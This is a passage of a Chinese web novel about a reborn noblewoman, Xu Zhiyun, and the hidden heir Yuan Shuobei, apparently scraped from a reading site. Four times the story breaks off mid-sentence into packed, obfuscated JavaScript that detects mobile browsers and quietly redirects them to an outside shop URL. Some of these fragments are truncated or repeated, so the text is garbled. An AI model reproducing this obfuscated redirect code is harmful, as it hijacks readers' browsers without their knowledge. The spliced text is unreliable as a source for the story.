但元修止这个心思深还有前世记忆的人,不得不防备,一旦让他发现硕北的存在,会不顾一切先杀了他。 领头的将军没了,一群兵有何用。 “我说我是墨念安的徒弟,怕是只有戚容一人信了。”许知韵一直望着面具后的那双眼,黑瞳中明显带着怀疑,这一刻她都觉得硕北动了杀心。 刀锋快,哪怕再轻,许二姑娘的脖颈处也有了血迹,只需轻轻往前一推,许府再无二姑娘。 然下一瞬,二姑娘往前凑了过来,揶揄笑道:“元硕北,你信我吗?” 疯子。 匕首刺破纤细的脖颈,血珠毫不意外地冒出来,赤红的血赫然留在嫩白的肌肤上,炽热的眼水灵灵瞅着他。 元硕北偏过头,不去看她,阖了几下眼,压制着心中的火气,刚刚…若他再慢一点,这把锋利的匕首真的会要她的命。 小女子真是胆大妄为,此时受了伤,脸上竟没有一丝恐慌,双眸如清水,唇薄而翘,是个好看的姑娘。 可知道他的秘密,结局只有一个,早死还是晚死罢了。 “墨念安的徒弟?这话也就骗骗戚容。”元硕北给小女子一次机会,让她多说几句,“好,就算你认得她,那墨念安此时在何处?” “死了。” 即便元硕北心中早已知道的结果,可在听到墨姑姑死了时,心里还是会难过。 他记得墨姑姑对他很好,总会对他笑,总给他糖吃。母妃似乎不喜墨姑姑,但总喜欢带他去看望,他记得墨姑姑住在城外的道观里,一身青面素衣,却也挡不住她的风姿绰约。 他是皇太孙,自小便高高在上,荣宠加身,就在一夕之间,父亲母亲,身边的亲信都死了。 皇祖父在他面前咽气,他被亲叔叔幽禁关闭在破旧的偏殿内,他惶恐害怕,日日哭嚎求救,可无人搭理。 在他绝望的时候,是墨姑姑打开了偏殿的门,犹如踏着光下凡间的仙子,她抱紧弱小的他,告诉他要活下去,为他的父亲母亲、所有受了冤屈的人报仇。 也是那一刻,他才清醒过来,以往的一切早已灰飞烟灭,只剩下他了,只有他能为所有人洗去冤屈,匡正大翎的江山。 之后的十五年,他没再见过墨姑姑。 十五年前,逃出皇宫那日血染天际,是与皇祖父打江山的旧臣们拼死救他出了宫。 在城郊的林子里,一时不查竟被人贩子抓了,何其悲凉,何其讽刺,几经转手他被卖到搏斗场。 开始他被训练成打手的日子,每日吃饭、睡觉和挨打,好在没死前学会揍别人,活了下来。 就在五年前,皇祖父的旧臣在搏斗场找到他,提及墨姑姑便说早就死了,为了救他而死。 他怎能不信,因最后一次见墨姑姑时,她已说日后的路只能靠他自己走了。 在听到戚容提及墨姑姑有什么徒弟时,他的第一反应是不信的,墨姑姑那日跟他说了很多,没有提到她有徒弟一事。 “许二姑娘,嚣张也好,脾气大也好,唯独说谎最不好。”翻案夺皇权一事事关重大,元硕北必须杀了她,不论她有何目的,背后之人是谁,不能留。 低沉的语气,透着生气、失望、不耐烦。 声落时,许知韵见到面具后的那双眼,冷静厌恶与不屑。 有一瞬间的窒息,用力支撑的脊背想瘫软下来,从未听过硕北对她说过这么冷的话。 她记得与他初识时,在那间硕北养伤的小院里,硕北耐心地教她写字,教她丹青,没有一丝烦躁,清隽秀雅、如沐春风。 泪水似要决堤,许知韵狠狠地掐着自己的胳膊,内心一遍一遍的告诉自己,硕北不记得过往,所有的一切不记得是好事,这一世要重新认识他,不要急不要慌。 屋内的空气冷了几分,静的突兀,落雪后的大地似乎就是这般。 元硕北在思量,杀了许二姑娘要如何逃走,之后会有何种麻烦,会不会影响到之后的部署。 “你祖父留下遗诏,将皇位传给了你。可朝中上下已被控制,此时拿出遗诏也会被废掉。便派人将遗诏藏起来,等你长大有了自己的势力,定要将大翎的江山夺回来。” 面前的二姑娘挺着背,一字一句说话的模样,元硕北恍惚间像是见到那日的墨姑姑。 “他们都以为只有一份遗诏,其实你皇祖父还手写了一封信,道出你二叔弑父杀兄的实情,这也算是一份证据,也是一道旨意。遗诏在明,手信在暗,寻到哪一个都好,都能拨乱反正。” 每一个字都打在元硕北的心上,那日的墨姑姑对他说的就是这些话。 只有他一人知晓此事,除了遗诏还有手信,皇祖父为他铺好了路,只等他积蓄力量,一举夺回大翎。 元硕北一步一步准备,千方百计地寻找遗诏或是手信,可还是毫无线索。 墨姑姑真的有徒弟?为何从未提过?真的是眼前的二姑娘吗?为何她知道这些? 疑问太多,若是墨姑姑的徒弟,那她会知道遗诏或是手信在何处吗? 元硕北想继续追问,可一转头,二姑娘泪流满面,整张脸被泪水占满大半,哭得不声不响的。 这…他还没动手杀她呢? 适才说的那些话…是前世的元硕北对她说的,他对她毫无保留,用心待之。 她知道墨念安在硕北的心里很重要,才决定用墨念安的名头来接近他。 也是没法子,难不成她要对硕北说,她从前世回来的,她有知未来的能力,怪力乱神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13157555|133602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事说出来,怕她立马会成为刀下亡魂。 前世的立场不同,许知韵觉得自己没错。 可当这些话出口,瞬间瓦解多年来的自欺欺人,眼泪不自觉地流出来,她觉得自己愧对硕北,愧对那些拼命送出手信的忠臣。 前世为了元修止能坐稳帝位,元启帝的那封手信是被许知韵毁掉的,她毁掉了一份有力的证据。 她是元硕北的敌人,当他无证据无旨意去翻案,只能以叛军的名义攻打到皇城时,她是不配活下去的,即便硕北不会怪她。 往事一幕幕叠加,强忍着几个月不去触碰的泪池,决口似得一拥而出,一发不可收拾。 元硕北有些慌乱,手足无措不知如何是好,他还没动手要杀二姑娘。 意识到自己失态后,许知韵强吸了几口气断断续续道:“我是来与元公子谈合作的,我们…目的相同,元公子放心,我不会与任何人说你的身份。” “元公子…要当心大皇子元修止,他对皇位垂涎已久,而且他知道你是谁,也一直在寻找你。” 可算二姑娘能正常说话了,在他听到手信时就决定信她一次,之后再做打算杀不杀她。 “既然是墨姑姑的人,我愿意与二姑娘合作。” 依旧是冷淡漠然的态度。 许知韵只好道:“若元公子不想与我当面接触,日后可派戚容公子来。” “无妨。”元硕北回道。 “今日失态了,容我先回去,改日再细谈。” 许知韵不知自己是如何从前院回到花溪院的,只记得出了门见到水月惊恐的表情。 之后又像走马观花一样,熟悉的面孔总会探着脖子与她凝望。 清醒的时候已是五六日后,是秦氏请回包大夫医治的,许知韵才渐渐好转。 清冽的檀香与浓重的药味参杂在一起,闻后有些刺鼻。 许知韵眨着眼睛,望着头顶上绣着花卉的床幔,努力搜寻着残存的记忆,还没记起多少时就听见大叫声。 “姑娘,你醒了。” 水月哭嚎着跑过来,趴在许知韵的身上呜呜哭起来。 随后一连串地脚步声渐近,几个脑袋急切地凑了过来,大哥、包大夫、还有后边的月瓷、雨妈妈。 “哎呦,小丫头你可算醒了,再不醒就砸我的招牌了。”包大夫手里拿着什么,气鼓鼓地道。 “妹妹,可觉得哪不舒服?”大哥摇晃着手,询问着。 许知韵有意识地摇头,撇见雨妈妈也红了眼,月瓷是一眼不错地盯着她。 “我无碍,只是饿了。” “知道饿就好。” ——— 日头西斜,花溪院内的几个丫鬟趁着此时凉快,紧忙移植两盆月季花。 说是秦氏让送来的,稀有的很。 清醒了几日,许知韵才知自己昏迷了多日,可把兰姨急坏了,她不好总往主屋里跑,便趁着黑夜守在床边。 等许知韵好起来了,兰姨倒是病了,幸好只是劳累过度休息几日便好。 自醒来后,身边一个个见到她,眼里多是心疼和怜悯,许知韵一点也不想知道原因。 真的,不想。 春心萌动的小姑娘,在见过一男子后,不吵不闹哭到昏迷,十有八九是示爱被拒了。 多情的女子,无情的汉。 58. 误会因戚容起 几日前,元硕北就静悄悄地离开了,留下许府内一地议论不断的鸡毛。 后宅的婆婆丫鬟们本没把打秋风的亲戚当回事,在得知二姑娘一曲相思付东流后,再想去偷偷看前院公子是何模样为时已晚。 见过的更是添油加醋,有说元硕北是丑陋不堪,整日带着面具才能见人,又有说元硕北是神仙下凡,俊美惑人,将二姑娘迷得晕头转向。 即便秦氏下令禁止谈论此事,可不妨碍奴仆自个儿心里议论琢磨,总之许府内众人皆知,二姑娘受了情伤。 许良友特意从繁忙的公务中抽出功夫,来了花溪院两趟,偷偷瞄着许知韵,试探着询问,受情伤的女儿是否安好。 几个瞬间的担心模样,倒做不得假,没想到前世费劲心思想得到的父爱,如今却感受到了。 这在前世是从未有过的真心关切。 世间多奇怪,费力讨好想要的得不到,不去在意了反而容易获得。 只是前世看开了,早已不在意了。 元硕北这边,月瓷说他换了身份,摘下面具,摇身变成南临首富何家的义子,来奉京接手何家的产业,又新开了多家铺子,想来这一步是早就谋划好的。 “姑娘,快将药喝了。”镜花撩开帘子,笑着端着一碗药过来。 她穿的是一套崭新的绣花青色衣裙,料子倒不是贵重的,可年轻貌美的姑娘穿上总会放大衣裙的美丽,整个人如出水芙蓉般秀丽。 许知韵扬起嘴角,小姑娘爱俏、喜事到,自清醒后,镜花总会主动揽过不少活,特意与许知韵靠近乎,是想求个自由身安心做新娘吧。 谁都不想生来就是奴婢,只要镜花开口,许知韵就会欢欢喜喜地为她备一份嫁妆,送她出嫁,毕竟前世她就过得不错,许知韵不想改变镜花原本的生活。 “好,我喝。”许知韵没拒绝,痛快答应,“就是太苦了,将外间的杏脯拿过来,我喝完吃那个。” “是。” 趁着镜花出去,许知韵忙起身将药倒在窗外,药汁顺着墙壁肆意地流淌下去。 包大夫开的药巨苦,苦掉下巴的那种。 说她思虑过深,悲伤过度,郁结之症,需喝上几日才会好。 诊治的没错,可药引子不在药上,在事上,事不成心怎能安。 许知韵亲眼瞧见,包大夫见药端来时立马离开的表情,嫌弃中流露出的害怕,一个大夫都觉得苦的药让她吃,没门。 见许知韵清醒后,包大夫赶回计家了,说是再有个几日,计友之就恢复正常了,也算好事一件。 ——— 巷子拐过来一辆华盖马车,停到一处荒宅前,车上下来一位风流公子,青蓝银边的长袍,云纹嵌玉锦带,手握飞花黑木描金的折扇,一摇一摆迈着四方步,熟门熟路地进了院子。 拐过一处“雅致”的三层小楼,进到偏僻的一处厢房内,屋外破旧不堪,缺漆残壁的,屋内却也是别有洞天,清一色的黄花梨木家具,与墙壁上的山水画相呼应,衬出满屋的书香气,华贵的绒毯上,放置着冰鉴,里面摆着各式果子与桃花酿。 屋内只有一人,此时正坐在靠窗的矮几前摆弄着棋盘,左手执一本棋谱。 “又在下棋呢,我是来的巧了,正好与少主切磋一下。”戚容快步走过去,在矮几对面毫不客气地坐下。 元硕北无甚表情,默默地收起手里的棋谱。 骨指伸展弯曲不紧不慢地收着棋子,一张脸温润清泽,因之前总带着半块面具,脸上黑白两色还有些分明,可也挡不住他丛山般的俊朗,高鼻薄唇,神清骨秀,一身黑色银丝暗纹长袍,浑然天成,更显孤傲。 戚容看着都有些恍惚不适,他来奉京后,初见少主时,他震惊不已,身手不凡做事果决,在搏斗场的圆台上亲手折断彪形大汉的胳膊。 凶狠残暴,像之前遇到过的死士,可与少主接触后,又感觉少主是个翩翩君子,好比幽兰。 反差之大,一时难以适应。 后来听到少主的所有经历后,才懂少主的苦难煎熬,不禁心里哀叹。 戚容之前还有些惧怕,相处的多了胆子也大起来,少主的脾气还是挺好的。 “听闻许二姑娘病已大好了,少主也不必派人半夜去把脉了。”戚容摇着扇子,想探听一下八卦,厚着脸皮嬉笑道。 许二姑娘病了几日,少主便派大夫去诊脉,不好白日去,便半夜前往许府,偷偷给许二姑娘瞧病。 依照少主的原话,许二姑娘是合作伙伴,更与墨姑姑有关系,不好不去照应一下。 戚容觉得不苟言笑的少主,有些傻,明明关心人,却不言明,人家姑娘怎知晓他的心意。 元硕北完全没理会戚容眼里的小心思,他只是担心墨姑姑留下的线索不要断了,并不在意许二姑娘是否康健。 只是与戚容说不清,这厮是个弄不清楚轻重的,多说无意。 元硕北也不会随意指责戚容,他在斗兽场的日子艰难也很痛苦,日日见不到笑脸,如今见到戚容整日扬着嘴角,是个没心没肺的人,与他相处起来更畅快些。 见元硕北没搭理他,戚容忍不住继续道:“许府里都传二姑娘是因少主拒绝她的心意,才会伤心过度,一病不起的。不知少主如何看啊?” 听说许二姑娘是见过少主之后,才病倒的,这其中的原因,他可太好奇了,少主是如何伤人家姑娘的心?他这几日总来套话,也没问出什么,但他坚信持之以恒必能有所收获。 “我不知。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13189070|133602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >戚容:我不信。 “你先。”元硕北收拾好棋盘,示意戚容先下。 “好。” 元硕北学下棋没多久,棋艺不精,研究了几遍古谱才有所提高。戚容这个人看着不学无术、纨绔风流,其实棋艺高超,精湛敏如。 两人对弈,多数都是元硕北输。 而戚容却认为少主天赋异禀,每每对弈皆在进步,他执棋时思量的功夫也多起来。 一柱香后,元硕北放下手里的棋子认输,戚容心里狠狠地叹了口气,好险。 “咳咳…” 戚容又摇起折扇,转移话题道:“有一事,要少主拿主意,那个叫梨香的姑娘,送去南临的路上偷跑了回来,后在路上又被追到,但她以死相逼定要回到少主身边,底下的人没法子又将人带回来了。” “少主要如何安置这位姑娘?” 戚容也是懊恼,少主安排的事他没给办好。 梨香姑娘,原本也是被人牙子拐走,卖到搏斗场的孩子,与少主算是同病相怜。 少主幼时多次受伤,都是梨香姑娘在旁照顾的,两人感情深厚,眼下少主揭开身份,不便照顾梨香,打算送回南临安顿,可梨香不愿,只想跟在少主身边。 戚容偷瞄一眼,见少主也在为难,奉京之后定会纷争不断,送回南临是对梨香的保护,这个决定是对的。 显然梨香对少主深情不移,眼里心里都是少主,若是少主也对梨香有倾慕之意,不忍与梨香分别。 是这般吗?原来如此。 少主心里有梨香,所以不能接受许二姑娘的真心,可怜的姑娘因伤心而病倒了。 这下都对上了。 戚容像是发现一个大秘密,在听到少主说“那就带回来,多派几个人护着。”这句话后,顿时全身通畅,觉得自己实在是太聪明了,少主的婚姻大事有着落了。 就是许二姑娘的一片春心,要付东流了。 一直盯着棋盘的元硕北,脑子里倒推着整盘棋的走向,找到了戚容的破绽,下一次他绝对不会再输了。 元硕北嘴角微扬,想着下次戚容输棋的模样忍不住想笑。 而坐在对面的戚容以为的是,少主是要见到梨香而开心的。 这婚事还是要尽快提上日程的,等到大事已成后就办,那才叫喜上加喜。 “咚咚咚…” 门外敲门声响起,戚容几步迈过去,从门外拿过来一幅画,递给少主。 “说是许二姑娘身边人送过来的,想让咱们帮着找此人。” “嗯。” 画卷缓缓展开,是一男子,棱角分明的轮廓,含笑清瘦的模样。 似乎见过,有些眼熟。 画卷尾端写着名字,叶尘游。 59. 郡主相求断姻缘 酷暑难耐,滚滚热浪将人圈禁在蒸笼里,热得人喘不过气,街上行人用衣角擦着汗,拖着沉重的步伐谋生计。 云霞楼,二楼雅间。 燃尽的纸条,还留有余温。即然是合作关系,许知韵也没跟元硕北客气,寻找叶尘游一事还是要仰仗他。 叶尘游,怕是世上唯一知晓莲心木的人。 许知韵最喜欢听他胡乱瞎说,天南地北奇闻异事,不着边际的话听着就有趣。 水月评价道,叶先生不去说书真真是可惜了。 前世,许知韵是去五泉观替元修止打听事宜时,在道观后院夹道处,见到被打得不成样子的叶尘游。 她本就不是爱管闲事的人,可见被打的人身上新旧伤□□叠,却没喊叫一声,好奇心立马被勾起。 平生最佩服那些吃亏往肚子里咽的人,于是便出手呵斥了众人,也想着顺手救下此人。 官家贵女,救一个奴仆轻而易举,可叶尘游不知好歹,从地上艰难起身后,向她拱手致谢并且拒绝。 她还记得叶尘游的话,“多谢姑娘的善心,可某此生已了无牵挂,是生是死皆看命数,若姑娘今日相救,某与姑娘就存有因果了,这与某此生之愿相悖,望姑娘就当没见到过某。” 好心救人于水火之中,可他人不领情,这多多少少会让人觉得气愤。 可许知韵听闻后,好奇心达到了顶峰,不让救的话她偏要救,会如何? 像是遇见未知的航线,许知韵固执地跟在叶尘游旁边。打他的几个小道士面面相觑一番后,拔腿跑了。 叶尘游掸了几下身上的灰,一步一步挪着身子回到一间破烂小屋里。 见他进屋没理会自己,许知韵也不恼,只是站在屋外四处打量,也就一盏茶的功夫,叶尘游就拎着一个破包袱走出来,说以后就跟着许知韵,有口饭吃就行。 反转太快,许知韵只是好奇而已,没想过真的领回家一个人。可都如此做了不好反悔,也不敢明目张胆领回家,只好找了一处清静的宅子,留下他,管他吃喝。 那时她与元修止即将成婚,后宅事也多,与叶尘游见面的次数很少,她也是满足他的要求,管饭。 在之后,许知韵嫁进大皇子府,叶尘游以道士的身份来访几次,又说了许多光怪陆离的故事,还时不时拿出龟甲占卜。 只是占卜晴雨,十次有八次不准。 倒是元修止对他欣赏有加,客气地要请他做府里的幕僚,而叶尘游一点没犹豫直接拒绝。 从那之后,道不同,路也走岔开了,许知韵与这位有趣的老友见面的次数更少了。 重来一世,回到奉京后,就去打听叶尘游的下落,不出意外,道观从无此人,同元硕北一样,他也不知所踪。 望着香炉里的纸灰,想着纸条上的那句话——查无此人,可还有其他线索。 线索? 许知韵问过叶尘游的身世,可叶尘游如何说的,“已忘来时路,来时路也不重要,最重要的是脚下路。” 许知韵怀疑道观里的小道士揍他,因着他不好好说话,还总说些有的没的。 “姑娘,郡主来了。”雨妈妈推开门,恭敬地请带着幕篱的女子进来。 许知韵昏迷的几日,玉真郡主偷偷传了几次消息,说要见面。 因着之前许知韵对她说的话,她定是遇到无法解决的事,想到许知韵这里来试试。 玉真郡主摘下幕篱就坐下了,清了清嗓子,不满道:“许二姑娘真是难见,本郡主等了好几日才见到。” 有事相求,也不服软,态度还傲慢。 唉,先听听是何事。 许知韵淡笑,直视着对面的人道:“我们出来一趟都不容易,郡主直接说事吧。” 玉真郡主瘪了瘪嘴,一脸愁容:“好吧,母亲让我嫁人,我不愿,该如何?你之前说的,我有事可来寻你的。” “嫁给何人?” “国公府的郭政业。” 世家联姻很正常,可与前世又不同,记得前世长公主还未给玉真安排婚事,元硕北就登基即位了,而那时郭政业也已娶妻。 能扰乱长公主的安排,必定是元修止的手笔,一个有记忆还想当君主的人,怎会老实。 前世长公主藏的深,从未在明面上表示支持哪位皇子,朝中人皆以为她忠于明贤帝,可在无人处,她默默地帮助二皇子元修逸,那是一个面容和善,知礼却瞧着笨重的皇子。 国公府是支持元修止的,郭政业娶的是锦衣卫千户曲靖宇之女曲婷,后宅的笑面夜叉、极伪善的厉害女子。 这一世,元修止贪心的很,长公主的势力他也想要,用国公府来拉拢长公主,也就意味着锦衣卫处他有别的筹谋。 幸好玉真郡主提前告知此事,若私下议亲一事板上钉钉,元修止岂不是又添羽翼。 见许知韵不言语,玉真郡主心底有些着急,她真的是没法子才会寻到许二姑娘这里的。 “该如何,你倒是说句话啊,我…那个郭政业招猫逗狗的,小妾通房一大推,我就该去杀了他,这样我就不用嫁了。”玉真双眼通红,说的话不像作假。 许知韵相信她不得已真会这么做,可是郭政业不一定会死,到头来她还是要嫁过去,遭受的会是更残忍的报复。 “别急,伤敌一千自损八百的法子还是别用。” “眼下你说的好听,你推庞姝琪的时候不就是伤敌一千自损八百吗?我这是跟你学的。”玉真瞪着双眼,一刻不眨地认认真真道。 这,有些事还是不要乱学。 “此事我会帮你,容我再想想,若需要你的配合会提前联系你。” 破坏此次联姻,还要断了元修止锦衣卫处的臂膀,不是件容易的事,还需筹谋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13245880|133602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “你当真会帮我,可我是与章淑华站在一边的,淑华不喜欢你,我也同她一样的,你还愿意帮我?” 玉真郡主面露疑惑,大皇子有意求娶许二姑娘一事,众人皆知,淑华更是打碎牙往肚子里咽,她不想瞒着许二姑娘,她与淑华闺中关系亲近,同仇敌忾一般讨厌她,她坦诚的说出来,若是许二姑娘不帮她,她也不强求的。 许知韵不在意,不喜欢又如何,利益相同就可以短暂的合作。 至于章淑华,这一世可能还是注定不死不休。 “郡主,我帮你是想讨好你的,日后还望郡主关照的。大皇子妃那里对我有误会,待误会解释清楚,我们就都是好友了。”许知韵循循善诱,努力地引导单纯的玉真郡主。 “不知郡主,将此事与大皇子妃说了?” 玉真郡主茫然失落地转头看向别处,心里的伤心不言而喻。 她事事都会与淑华商量,此事之大,怎会不说。可她的好友淑华劝她嫁,淑华说她出了长公主府就自由了,可未来的夫君荒唐狂妄也能嫁吗? 她失了淑华这个主心骨,慌乱一团,想到许知韵对她说的话,才找到这来,赌一把。 “她不知。”玉真郡主低着头,淡淡的道。 看来此事玉真郡主找过章淑华,结果可想而知,章淑华对元修止的爱慕堪比江河,源源不绝。 玉真郡主与郭政业联姻,是给元修止铺路的,这等重要事,章淑华可不会阻拦,怕是劝好友往火坑里跳。 当然,前世的自己也是这般,为了元修止可以不顾他人死活。 许知韵挤出一抹笑意,轻声气语道:“那郡主来找我,还有之后的事也无需与大皇子妃说,毕竟此事重大,牵扯旁人也是不好的。” “放心,我懂。”玉真忙点头,又颇为担心道,“你当真有法子?不会诓我吧?” 因是偷偷出门,玉真郡主穿的是丫鬟的衣裙,翠绿色的衣裙将多日憔悴的脸衬得煞黄如土,怀疑的脸上又带着希冀。 束手无策才找到许知韵这里,她是抱有希望来的,恰巧此事有利于所谋之事,为何不帮呢。 “郡主可以试一试,又不吃亏,反正你也没法子阻止,不若信我一次。” 玉真郡主沉思一刻,豪爽道:“好,若你解了我的燃眉之急,日后你若处于困境之中,我也不会不管的。” 听闻此话,许知韵眉毛一挑,咧嘴笑了。 这位郡主可是带来消息的,断她与郭政业的婚事,也是断了元修止的臂膀,怎么算都是好事,眼下看还赢得群主小姑娘的青睐感激。 见对面的人眉眼弯弯,灿若星辰,愁绪几日的玉真郡主心里的大石头放下一点儿,能笑出来说明她有把握吧。 不按常理出牌的人,搅黄一件婚事算小事吧。 玉真郡主也不知,她这一步走的是对是错。 60. 不被信任的滋味 “许姑娘,好久不见。” 笑声中带着轻佻,刚进门的戚容浮夸地摇着飞花黑木描金的折扇,一身湖绿银边锦袍衬着还算周正的脸,更像十足的浪荡子。 慢一步走在后面的元硕北身着墨色暗纹锦袍,剑眉入鬓,摘下面具的脸依旧沉稳严肃,皓月的脸庞,缺少一丝笑意,显得格外孤傲,看一眼寒澈入心。 这是元硕北出了许府后,与他头次见面,还是冷冰冰地拒人千里之外的模样。 跟在二人身后的月瓷,习惯性随手将门关上,留门外的雨妈妈面露担心,伸头张望了几眼。 玉真郡主前脚刚走,这二人后脚就进来了,不知情的定以为此二人不怀好意。 许知韵起身,规矩地福礼。 戚容似乎很惊讶:“许姑娘回到奉京,竟如此知礼,真是士别三日,当刮目相看。” 大惊小怪,说的像是许知韵之前是多粗鲁。 “谢戚公子夸奖。”许知韵真想锤他几下,面不改色道。 “瞧瞧,许姑娘还会道谢呢?”戚容说完看向早已坐下的元硕北,凑过去继续道,“少主不知,之前许姑娘凶得很,马车都敢跳,更不会这般客气地向我见礼。” 元硕北听到此话,倒茶的手停顿片刻,这二人究竟见过几次面。 自元硕北进房间,许知韵不自觉地看向他,心里有一肚子话想说,却无从开口,何况中间还夹着一个多事的戚容。 出许府后,与许二姑娘的联系多是信件往来,好多事不方便信上说,如今好容易见面,不想理会戚容的闲话,元硕北迫不及待转移话题:“许二姑娘,眼下我们合作即表示互相信任,不若说说过往与墨念安的往事。” 清冷的眸子扫过来,疑心猜忌显而易见,哪里是信任。 耳边灌进去不爱听的话,堵得许知韵心里想说的话已忘记大半,连一句“元公子,最近可好?”都不想说了。 “往事已矣,不算是美好的过往,再次谈起不过是徒增烦恼。恩师所愿即是元公子所愿,我必定全力相帮,还望元公子日后能多些信任。”许知韵面色从容,声音有明显地不悦,盯着元硕北的眼一字一句道。 这要许知韵如何回他,一个为了留在他身边而编出的师徒关系,能有何往事。 即使许二姑娘一本正色,也没打消元硕北的疑虑,他从未怀疑过墨姑姑,但许二姑娘疑点很多,知道的事杂乱又毫无联系。 话落,二人同时看向对方,双眸相对,犹如数九寒天刺骨的风刀,冻得戚容打了一下寒颤。 瞧见气氛不对,戚容立马打断嬉笑道:“信任,信任,怎会不信任呢?许姑娘传来的信息都是准的,按许姑娘说的,揭发刑部董武收钱换囚一事,才顺利让咱们的人进了刑部领要职,这多亏了许姑娘。” 许知韵转过头,对着戚容浅浅笑道:“既是自己人,何需谈谢。” 遂将袖中的几本书拿出来,放到桌子上,坦然道:“莫不是元公子还未将我视为自己人,才会多加追问,不过也无妨,总需要些时日,这是《今朝醉》赠予元公子。” “《今朝醉》,许姑娘说的是天书《今朝醉》。”戚容震惊不已,慌忙从桌上拿起,又觉不妥,递给身旁的少主。 在戚容急切的眼神示意下,元硕北接过来打开包裹严实的外皮,只见几本书,有关兵法、农政、天文星象。 传言《今朝醉》是天书,得之可得天下。 不过传言是假的。 年幼的他听父亲对他说过,这天书不过是幌子,既要争夺天下,必定有些祥瑞或是意头,皇祖父便想了一个法子,传出个天书的预言,再声称自己已得到,那之后打天下就名正言顺多了。 只是知晓此事实情的不多,皇祖父有意散布不加阻止,没想到之后越传越疯狂。 “不知许二姑娘如何得到的此书?” 低沉地嗓音中仍带着质疑,还有些许逼问。 “恩师所赠,内容我已看过,想着元公子也该看看。” 天书一直都是幌子,但世人不知是假,要坐上那个位置,硕北身上就必须要有天书,前世元硕北费心寻得一份手抄版天书。 前世的元启帝将手书藏于天书内,辗转到墨念安手里,为了保存好元启帝的手书,便抄写几份天书,趁乱流出皇宫,搅乱明贤帝搜查的视线。 许知韵幼时遇到讨水喝的落魄之人,应当是墨念安的知己卫青,自知身受重伤活不下去,也不想被明贤帝所派之人找到,才将藏于元启帝手书的天书赠予许知韵。 许知韵手里的是真的天书,只不过面前的书内没有元启帝的手书,她不放心元硕北此时身边的人,只好先将手书留下,日后再拿出来。 墨念安没将手书藏于天书内一事告知给元硕北,是怕他那日没能逃出皇宫,也怕他年幼害怕道出此事。 前世,许知韵也是无意间发现天书中的秘密,不过毁掉的也是她。 元硕北手握着这几本书,心里的波涛似乎慢慢翻转,这是皇祖父留下的。 他的记忆中,皇祖父对他的教导极为严格,三岁还坐不住的时候就要早起认字,认错还会挨罚,那时他是不想日日见皇祖父,如今万分想见却再难见到。 “多谢许二姑娘相赠。” “元公子客气了。” 出府不好太久,许知韵说起正事:“想来二位已经听到玉真郡主所说之事,不知此事如何打算。” 戚容抢先忙道:“国公府是大皇子的人,大皇子想与长公主府联姻,明摆着也想要长公主的支持,此事定是要阻止的,我们也正想与许姑娘商议。” 戚容手肘撞向元硕北,元硕北将看着天书的眼抬起,凝视着许知韵:“之前许二姑娘传的信,告知国公府是大皇子的人,我们是费了好些功夫才查到他们私下联系。许二姑娘是闺阁女子,又是如何知晓的呢?” 话落,许知韵猛然看向元硕北,忍着几分失落,勉强地笑道:“元公子,消息最重要,何必在乎是男子还是女子得来的,怎么元公子瞧不上闺阁女子?” 打从进来起,许二姑娘与戚容来来回回的话语间皆是客气,可对着他就话中有话,夹枪带棒。 在许府的那些日子,许二姑娘恨不得日日来寻他,嘘寒问暖,此时这般质问倒叫人摸不着头绪。 她是生气?因何事? 是气他之前用匕首伤了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340758|133602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的脖颈,姑娘家最重颜面,留下伤口定是不高兴的,可他已送去疤痕膏,不知她用没用。 许二姑娘穿的是淡黄立领绣百花云绢衫,脖颈处护得紧,定是留疤才这样穿的,对他冷漠些,也是理所应当的。 此时空气只飘着茶香,戚容左看一眼少主,右看一眼许姑娘,一个目光中带着审视,一个微怒中夹着伤心。 “咳咳…” “喝茶,喝茶…” 戚容只能努力地活跃气氛,眼瞧着许姑娘眼底连绵的情意,渐渐转为怒火,可少主却视而不见,像冰块似的还一再猜疑人家。 他这个下属不好左右主子的感情,只好装傻。 “不知许知韵对玉真郡主之事有何高见?” 许知韵低下头喝茶,缓了几口气,眼下不是置气的时候,又提醒自己,硕北不记得过往,质疑她,与她生疏是正常的。 刚想提出自己所想的法子,门外吵闹声突起。 